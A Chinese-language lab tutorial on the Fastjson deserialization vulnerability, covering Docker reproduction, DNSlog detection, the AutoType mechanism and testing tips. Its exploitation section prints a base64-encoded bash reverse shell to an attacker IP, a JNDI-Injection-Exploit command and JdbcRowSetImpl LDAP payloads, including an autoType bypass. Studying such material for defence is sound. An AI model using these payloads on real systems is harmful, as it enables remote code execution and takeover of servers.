章
目
录
Fastjson作为一款常用的JSON处理类库,做过开发的几乎没人没用过吧,然而,它被爆存在的反序列化漏洞,本文将详细介绍Fastjson反序列化漏洞,涵盖漏洞复现、原理分析以及注意事项等内容。
一、Fastjson漏洞复现
(一)搭建漏洞环境(以1.2.47-rce为例,漏洞编号:CVE-2017-18349)
利用Docker搭建漏洞环境,执行以下命令:
# 开启环境
docker compose up -d
# 查看运行情况
docker ps
上述命令中,docker compose up -d
用于启动相关容器来搭建Fastjson漏洞环境,docker ps
则用于查看容器的运行状态。当看到对应容器成功启动且端口映射正常,出现类似相关页面时,就表示环境搭建成功。
(二)漏洞特征与检测
- 报错回显检测:先将请求方式从GET改为POST,把
Content-Type
类型设置为application/json
,并添加请求体。此时查看返回包,若存在报错信息(不过,开发者可以选择屏蔽这类报错),这便是Fastjson的一个特征表现。例如,以下简化后的请求包:
POST / HTTP/1.1
Host: 192.168.64.10:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/json
Content-Length: 11
{"test":"
- DNSlog盲打检测:使用特定的
payload
进行DNSlog盲打检测,payload
如下:
{"xxx":{"@type":"java.net.InetAddress","val":"5eb01a76.log.cdncache.rr.nu."}}
使用时,记得修改请求方式和Content-Type
类型。
(三)漏洞利用
这里采用JNDI-Injection-Exploit工具来利用漏洞,该工具可直接生成jndi注入命令。
- 反弹shell准备:假设攻击机监听端口为
10.201.65.180:9932
,先构造反弹shell命令:
bash -i >& /dev/tcp/10.201.65.180/9932 0>&1
将上述命令进行base64编码,得到:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMDEuNjUuMTgwLzk5MzIgMD4mMQ==
最终完整的利用命令为:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMDEuNjUuMTgwLzk5MzIgMD4mMQ==}|{base64,-d}|{bash,-i}
- 使用工具生成payload:利用工具生成
payload
的命令格式为:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
具体到当前漏洞利用,执行命令:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C " bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMDEuNjUuMTgwLzk5MzIgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "10.201.65.180"
工具执行后会生成多个payload
,可依次尝试。例如,完整的payload
类似如下:
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://10.201.65.180:1389/xbc51m",
"autoCommit":true
}
}
执行该payload
后,BP(Burp Suite)返回500,但此时若攻击机成功监听并接收到连接,就说明成功反弹shell。
(四)不同版本漏洞差异(以1.2.47-rce,漏洞编号:CNVD‐2019‐22238为例)
该版本环境搭建方式与上述相同。当使用之前的payload
再次测试时,会发现目标明确提示autoType
被禁用,原攻击链失效。不过,若目标环境是openjdk:8u102
,由于该版本没有com.sun.jndi.rmi.object.trustURLCodebase
的限制,仍可利用RMI进行命令执行。此时的完整payload
如下:
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://10.201.65.180:1389/xbc51m",
"autoCommit":true
}
}
执行该payload
后,攻击机同样可以成功监听并获取反弹shell。
二、漏洞原理剖析
(一)JSON与Fastjson基础介绍
- JSON概述:JSON是一种轻量级的数据交换格式,全称为JavaScript Object Notation。它采用键值对(key – value)的结构来表示数据,这种结构让人阅读和编写都很方便,同时也便于机器解析和生成。如今,JSON在编程语言间通信的众多场景中广泛应用,比如前后端数据传输、配置文件编写以及接口请求等。像下面这个简单示例:
{
"name": "Alice",
"age": 25,
"isStudent": false,
"skills": ["Java", "Python", "C++"],
"address": {
"city": "Beijing",
"zip": "100000"
}
}
- Fastjson概述:Fastjson是阿里巴巴开发的一款开源Java类库,主要用于Java对象与JSON之间的转换,即序列化(将Java对象转换为JSON字符串)和反序列化(将JSON字符串转换为Java对象)操作。它能够处理任意Java对象,甚至包括一些没有源码的系统类或第三方类,这一特性虽然强大,但也为安全漏洞埋下了隐患。因其使用简单且性能出色,在实际开发中应用极为广泛。
(二)Fastjson序列化与反序列化机制
- 序列化机制:Fastjson没有采用Java原生的序列化机制,而是自定义了基于属性或方法的转换方式。在反序列化时,为了准确还原对象的真实类型,Fastjson引入了AutoType功能。例如,假设有两个类
Dog
和Cat
都实现了Animal
接口:
class Dog implements Animal {
private String name;
private int age;
}
class Cat implements Animal {
private String name;
private int age;
}
若使用基于接口Animal
的序列化方式,将Dog
和Cat
对象序列化为JSON后,可能得到相同的结果,如:
{"Animal":{"name":"Tom","age":2}}
这样在反序列化时,就无法判断对象到底是Dog
还是Cat
。为解决此问题,Fastjson在序列化时会添加@type
字段,如:
{
"animal": {
"@type": "com.example.model.Dog",
"name": "Tom",
"age": 2
}
}
- 反序列化漏洞成因:然而,正是Fastjson的AutoType功能给攻击者创造了可乘之机。当用户反序列化不可信的JSON数据,且没有禁用AutoType功能时,攻击者可通过精心构造的JSON数据,利用
@type
字段指定恶意类,并触发该类的实例化过程。在实例化过程中,Fastjson会调用该类的setter或构造方法,这就可能导致恶意代码执行。Fastjson的漏洞本质上属于典型的Java反序列化问题,其危险性源于类实例化和方法调用的开放性,以及对AutoType的无限制使用。
三、注意事项
- 在使用dnslog平台进行检测前,需要先用靶机ping dns地址,以此测试网络连通性。若网络不通,dnslog检测将无法正常进行。
- 测试Fastjson漏洞时,要注意请求的格式。最外层应是数组或者对象,且不要直接加
@type
,而是将Payload
作为其中一个键值。例如:
{"xxx": {"@type":"java.net.InetAddress","val":"dnslog"}}
这是因为有些开发在使用Fastjson解析请求时,会借助Spring的@RequestBody
注释,指定需要的是一个普通对象(即JSON中不加@type
的对象)。如果直接传入{"@type":"java.net.Inet4Address","val":"xxxxx"}
,相当于给解析引擎传入了java.net.Inet4Address
对象,这会导致type not match
的异常。
3. 如果靶机是本机,其IP地址可能会变动。在进行漏洞测试和利用时,需要注意IP地址的变化,确保相关操作的准确性。
了解Fastjson反序列化漏洞的复现方法、原理以及注意事项,有助于我们在实际工作中更好地防范此类安全问题。